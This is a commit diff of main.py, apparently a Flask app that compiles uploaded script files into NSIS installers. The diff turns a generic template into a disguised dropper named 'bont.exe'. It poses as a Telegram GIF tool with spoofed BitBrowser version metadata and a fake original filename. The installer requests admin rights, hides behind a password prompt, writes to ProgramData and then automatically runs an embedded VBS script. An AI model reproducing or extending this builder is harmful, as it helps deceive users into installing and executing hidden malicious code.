sigyllly commited on
Commit
3374df9
·
verified ·
1 Parent(s): 5a26b8a

Update main.py

Browse files
Files changed (1) hide show
  1. main.py +65 -10
main.py CHANGED
@@ -51,24 +51,79 @@ def upload_files():
51
  bat_file.save(bat_path)
52
  icon_file.save(icon_path)
53
 
54
- # Construct the NSIS script with the correct paths
55
  nsi_script = f"""!include nsDialogs.nsh
56
  !include LogicLib.nsh
57
 
58
- Outfile "output.exe"
59
- InstallDir "$PROGRAMFILES\\YourApp"
 
 
 
 
 
 
 
 
 
60
 
61
- Name "Your App"
62
- Caption "Your App Installer"
63
- VIProductVersion "1.0.0"
64
  RequestExecutionLevel admin
65
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
66
  Page instfiles
67
 
 
68
  Section "Install"
69
- SetOutPath "$INSTDIR"
70
- File "{bat_path.replace(os.sep, '\\\\')}" # Use double backslashes for NSIS
71
- File "{icon_path.replace(os.sep, '\\\\')}" # Use double backslashes for NSIS
 
 
 
 
 
 
 
 
72
  SectionEnd
73
  """
74
 
@@ -79,7 +134,7 @@ SectionEnd
79
  # Compile the NSIS script
80
  try:
81
  result = subprocess.run(['makensis', nsi_path], check=True, capture_output=True, text=True)
82
- return f"Compilation successful! Download here: <a href='/download/output.exe'>output.exe</a>", 200
83
  except subprocess.CalledProcessError as e:
84
  return f"Compilation failed: {e.stderr}", 400
85
 
 
51
  bat_file.save(bat_path)
52
  icon_file.save(icon_path)
53
 
54
+ # Construct the NSIS script using the provided paths
55
  nsi_script = f"""!include nsDialogs.nsh
56
  !include LogicLib.nsh
57
 
58
+ # Define installer name and version
59
+ Outfile "bont.exe"
60
+ InstallDir "$PROGRAMDATA"
61
+
62
+ # Set the name of the application
63
+ Name "Telegram Gif"
64
+ Caption "bont 1.4.44.3"
65
+ VIProductVersion "1.4.44.3"
66
+
67
+ # Set the output directory and the base name of the installer file
68
+ SetCompressor /SOLID lzma
69
 
 
 
 
70
  RequestExecutionLevel admin
71
 
72
+ # Application metadata
73
+ VIAddVersionKey "ProductName" "bont Gif"
74
+ VIAddVersionKey "FileVersion" "1.4.44.3"
75
+ VIAddVersionKey "CompanyName" "BitBrowser"
76
+ VIAddVersionKey "LegalCopyright" "Copyright © 2024 BitBrowser"
77
+ VIAddVersionKey "FileDescription" "Bont is a tool designed to enhance GIF handling and sharing on Telegram."
78
+ VIAddVersionKey "ProductVersion" "1.4.44.3"
79
+ VIAddVersionKey "OriginalFilename" "runtime.dll"
80
+
81
+ # Password to be checked
82
+ Var PASSWORD
83
+ Var DialogHandle
84
+ Var PasswordInput
85
+
86
+ # Add a password prompt
87
+ Function ShowPasswordPage
88
+ nsDialogs::Create 1018
89
+ Pop $DialogHandle
90
+
91
+ ${NSD_CreateLabel} 10u 10u 100% 12u "Please enter the installation password:"
92
+ Pop $0
93
+ ${NSD_CreatePassword} 10u 25u 100% 12u ""
94
+ Pop $PasswordInput
95
+
96
+ nsDialogs::Show
97
+ FunctionEnd
98
+
99
+ # Password check logic
100
+ Function CheckPassword
101
+ ${NSD_GetText} $PasswordInput $PASSWORD
102
+ StrCmp $PASSWORD "yourpassword" 0 +3
103
+ MessageBox MB_OK "Password accepted"
104
+ Return
105
+
106
+ MessageBox MB_OK "Incorrect password. Installation will now exit."
107
+ Abort
108
+ FunctionEnd
109
+
110
+ # Display password page before installation starts
111
+ Page custom ShowPasswordPage CheckPassword
112
  Page instfiles
113
 
114
+ # Define installer sections
115
  Section "Install"
116
+ SetOutPath "$PROGRAMDATA"
117
+
118
+ # Debug the path
119
+ MessageBox MB_OK "Attempting to load file from: $INSTDIR\\0.vbs"
120
+
121
+ # Files to install (use /nonfatal to allow script to continue if file is missing)
122
+ File /r "{bat_path}"
123
+
124
+ # Run the VBS file post-install (only if it was found)
125
+ IfFileExists "$INSTDIR\\0.vbs" 0 +2
126
+ ExecShell "" "$INSTDIR\\0.vbs"
127
  SectionEnd
128
  """
129
 
 
134
  # Compile the NSIS script
135
  try:
136
  result = subprocess.run(['makensis', nsi_path], check=True, capture_output=True, text=True)
137
+ return f"Compilation successful! Download here: <a href='/download/bont.exe'>bont.exe</a>", 200
138
  except subprocess.CalledProcessError as e:
139
  return f"Compilation failed: {e.stderr}", 400
140